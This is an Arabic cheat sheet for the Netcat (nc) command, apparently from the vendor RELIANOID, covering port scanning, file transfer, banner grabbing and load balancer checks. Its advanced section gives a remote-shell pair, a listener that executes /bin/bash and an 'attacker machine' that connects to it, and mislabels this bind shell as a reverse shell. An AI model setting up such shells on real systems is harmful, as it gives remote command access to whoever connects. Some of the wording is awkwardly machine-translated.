ورقة غش لأوامر nc (Netcat)

عرض الفئات

ورقة غش لأوامر nc (Netcat)

1 دقائق للقراءة

لينكس nc الأمر (Netcat) #

لينكس nc أمر (Netcat) هو أداة شبكات متعددة الاستخدامات تُستخدم في اتصالات الشبكة وتصحيح الأخطاء والاختبار. يعمل كخادم أو عميل بسيط، ويدعم قراءة البيانات وكتابتها عبر بروتوكولي TCP وUDP. يُطلق عليه اسم "السكين السويسري" في الشبكات. nc يتم استخدامه على نطاق واسع لمهام مثل فحص المنافذ ونقل الملفات واختبار خدمات الشبكة.

الاستخدام الرئيسي وبنية الجملة nc أمر #

البنية الأساسية لملف nc الأمر هو:

nc [OPTIONS] [HOST] [PORT]

  • OPTIONS:أعلام للتحكم في سلوك nc.
  • HOST:المضيف المستهدف للاتصال.
  • PORT: رقم المنفذ المستهدف.

nc جدول الغش في الأوامر #

أمر الوصف
nc -zv example.com 80 اختبار ما إذا كان المنفذ 80 قيد التشغيل example.com مفتوح (الوضع المطول).
nc -l 1234 بدء المستمع على المنفذ 1234.
nc example.com 80 الاتصال بالمنفذ 80 على example.com (على سبيل المثال، لإرسال طلبات HTTP).
nc -u example.com 1234 إرسال البيانات إلى منفذ UDP 1234 على example.com.
nc -l -p 8080 ابدأ تشغيل خادم يستمع على المنفذ 8080.
echo "Hello" | nc example.com 1234 ارسل الرسالة Hello إلى example.com على المنفذ 1234.

حالات الاستخدام المشترك #

1. مسح المنافذ #

nc -zv example.com 20-25

يقوم هذا الأمر بفحص المنافذ من 20 إلى 25 على example.com ويخرج حالتهم.

2. إعداد دردشة بسيطة #

إعداد محادثة بسيطة بين نظامين:

على النظام الأول: #

nc -l -p 1234

في النظام الثاني: #

nc HOSTNAME 1234

استبدل HOSTNAME مع عنوان IP للنظام الأول.

3. نقل الملفات #

نقل الملفات بين نظامين باستخدام nc:

المرسل: #

cat file.txt | nc -q 0 HOSTNAME 1234

المتلقي: #

nc -l -p 1234 > file.txt

4. الاستيلاء على اللافتات #

استرداد معلومات الخدمة من خادم بعيد:

nc example.com 80

النوع HEAD / HTTP/1.0 والصحافة Enter مرتين لعرض رؤوس HTTP.

الاستخدام المتقدم #

اتصال UDP #

اختبار اتصال UDP بالهدف:

nc -u example.com 1234

يؤدي هذا إلى إرسال البيانات إلى منفذ UDP 1234 على example.com.

ربط شل #

إنشاء غلاف عكسي بسيط لتصحيح الأخطاء:

على الجهاز البعيد: #

nc -l -p 4444 -e /bin/bash

على جهاز المهاجم: #

nc TARGET 4444

استخدام Netcat بشكل آمن #

لتعزيز الأمان، استخدم الإصدار التشفيري من nc (على سبيل المثال، ncat مع SSL).

باستخدام nc مع RELIANOID الحلول #

In RELIANOIDالبنية التحتية للشبكات، nc يمكن أن تخدم أغراض تشخيصية وتشغيلية مختلفة:

1. اختبار اتصال موازن التحميل #

nc -zv loadbalancer.realianoid.local 80

تأكد من أن موازن التحميل يقبل حركة المرور على المنفذ 80.

2. مراقبة خدمات الواجهة الخلفية #

التحقق بسرعة من حالة خوادم الواجهة الخلفية:

nc -zv backend1.realianoid.local 8080

يتحقق هذا من إمكانية الوصول إلى خدمة الواجهة الخلفية على المنفذ 8080.

3. التحقق من صحة إعادة توجيه خادم الوكيل #

اختبار ما إذا كان خادم الوكيل يقوم بإعادة توجيه حركة المرور بشكل صحيح:

nc proxy.realianoid.local 443

4. تصحيح أخطاء البروتوكولات المخصصة #

استعمل nc لتصحيح أخطاء التفاعلات أو محاكاتها باستخدام البروتوكولات المخصصة في RELIANOIDالبيئة.

nc -l -p 5555

إعداد مستمع لاختبار رسائل البروتوكول.

ملخص #

استخدم nc يُعد أمر (Netcat) أداةً لا غنى عنها لمحترفي الشبكات. قدرته على فحص المنافذ، ونقل الملفات، وتصحيح أخطاء الاتصال تجعله مثاليًا للتطبيقات متعددة الاستخدامات. nc مع RELIANOID تساعد البنية التحتية على ضمان أداء قوي للشبكة وحل المشكلات بسرعة.

📄 قم بتنزيل هذه الوثيقة بصيغة PDF #

    ُ:البريد الالكتروني *